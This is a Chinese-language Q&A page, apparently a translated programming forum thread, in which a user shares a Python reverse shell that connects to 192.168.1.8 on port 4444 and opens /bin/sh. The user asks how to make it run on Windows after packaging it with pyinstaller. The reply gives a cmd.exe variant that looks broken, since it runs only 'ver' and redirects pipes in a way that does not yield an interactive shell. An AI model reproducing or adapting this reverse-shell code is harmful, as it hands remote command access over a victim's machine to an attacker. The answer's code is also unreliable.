windows 的 python 反向 shell?

问题描述 投票:0回答:1

我有这段代码

import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("192.168.1.8",4444))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"])

这在 linus 上运行良好,但在 Windows 上运行不佳。我使用 pyinstaller 复制它,当我在 Windows 上运行它时,我在第 4 行得到一个错误的文件描述符。我如何使用这种方法制作一个适用于 Windows 的反向 shell?

python netcat reverse-shell
1个回答
0
投票

尝试将 Linux shell 调用更改为 Windows shell 调用

import socket, os, subprocess

s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("192.168.1.8",4444))

p = subprocess.Popen(['cmd.exe', '/c', 'ver'], stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE)

# Redirect the standard input, output, and error streams to the socket
for stream in [p.stdin, p.stdout, p.stderr]:
    os.dup2(s.fileno(), stream.fileno())

p.wait()
© www.soinside.com 2019 - 2024. All rights reserved.